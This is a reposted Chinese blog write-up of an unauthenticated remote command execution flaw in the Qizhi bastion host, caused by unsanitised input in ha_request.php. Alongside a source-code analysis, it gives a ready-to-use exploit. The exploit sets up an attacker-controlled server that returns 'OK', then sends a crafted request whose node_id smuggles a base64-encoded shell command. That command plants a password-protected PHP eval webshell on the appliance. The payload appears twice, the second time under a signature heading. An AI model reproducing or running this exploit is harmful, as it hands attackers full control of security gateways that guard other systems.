zoukankan      html  css  js  c++  java
  • 齐治堡垒机前台远程命令执行漏洞

    源代码分析:

     问题出现在 ha_request.php 文件,第 37 行的 exec 函数,$url 为用户可控的变量,可见第 33 和 34 行。目光来到第 23 和 24 行,只要 node_request 函数的返回值为“OK”,即可跳过 fatal 函数(此函数为自定义函数,作用类似 PHP 内置的 exit 函数),继续往下执行。Node_request 函数的定义在 include/common.php 文件中,见下图 2。按照其原本的逻辑,其作用是请求$url,并返回其内容。根据代码逻辑,

    $url ="http://$req_ipaddr"."/listener/$method.php?n=$req_node_id&a=".urlencode(json_encode($args));

    所以$url 变量值类似于

    http://10.20.10.11/listener/cluster_manage.php?n=1&a=%5B%22install%22%5D

    这样的字符串。但是$req_ipaddr 和$req_node_id 均来自用户输入。因此,假设 10.20.10.11 为黑客可控的服务器,listener/cluster_manage.php 文件的内容为“<?php echo ‘OK’;>”,即可使得node_request 函数返回“OK”,从而跳过 fatal 函数,继续往下执行来到 exec 函数。回到 exec 函数,此时该函数的第一个参数是这样的,

    "wget --no-check-certificatehttp://10.20.10.11 /ha_get_install.php?n=$req_node_id -O backup_scripts.tar.bz2"
    

    所以我们的 payload只能放在$req_node_id 变量中。见下图3,$req_ipaddr和$req_node_id其实来自于$_REQUEST[‘ipaddr’]和$_REQUEST[node_id’],并做了全局过滤,删除掉一些危险字符

    图片1

    图片2

    图片3

    漏洞利用:
      利用条件:

        无需登录
    第一:

      http://10.20.10.11/listener/cluster_manage.php 返回“OK”。

    第二:

      执行以下链接即可 getshell,执行成功后,生成 PHP 一句话马/var/www/shterm/resources/qrcode/lbj77.php 密码 10086,使用 BASE64 进行编码。这里假设 10.20.10.10 为堡垒机的 IP 地址。

    https://10.20.10.10/ha_request.php?action=install&ipaddr=10.20.10.11&node_id=1${IFS}|`echo${IFS}"ZWNobyAnPD9waHAgQGV2YWwoJF9SRVFVRVNUWzEwMDg2XSk7Pz4nPj4vdmFyL3d3dy9zaHRlcm0vcmVzb3VyY2VzL3FyY29kZS9sYmo3Ny5waHAK"|base64${IFS}-d|bash`|${IFS}|echo${IFS}
    

      

    特征:
    漏洞利用点:

    https://10.20.10.10/ha_request.phpPoc 形式:${IFS}|`echo${IFS}"ZWNobyAnPD9waHAgQGV2YWwoJF9SRVFVRVNUWzEwMDg2XSk7Pz4nPj4vdmFyL3d3dy9zaHRlcm0vcmVzb3VyY2VzL3FyY29kZS9sYmo3Ny5waHAK"|base64${IFS}-d|bash`|${IFS}|echo${IFS}
    

     

  • 相关阅读:
    吃一堑长一智
    人做事 天看着
    【转贴】英语中12个月名称的由来
    4199,流氓中的流氓
    【转贴】看D片容易误解的10个词组
    【转载】中国小吃(英文表达)
    拼死拼活为了啥!
    GCII 1.4对1.31改进
    上古III的汉化和美化修正
    linux下tar的用法
  • 原文地址:https://www.cnblogs.com/0day-li/p/13663525.html
Copyright © 2011-2022 走看看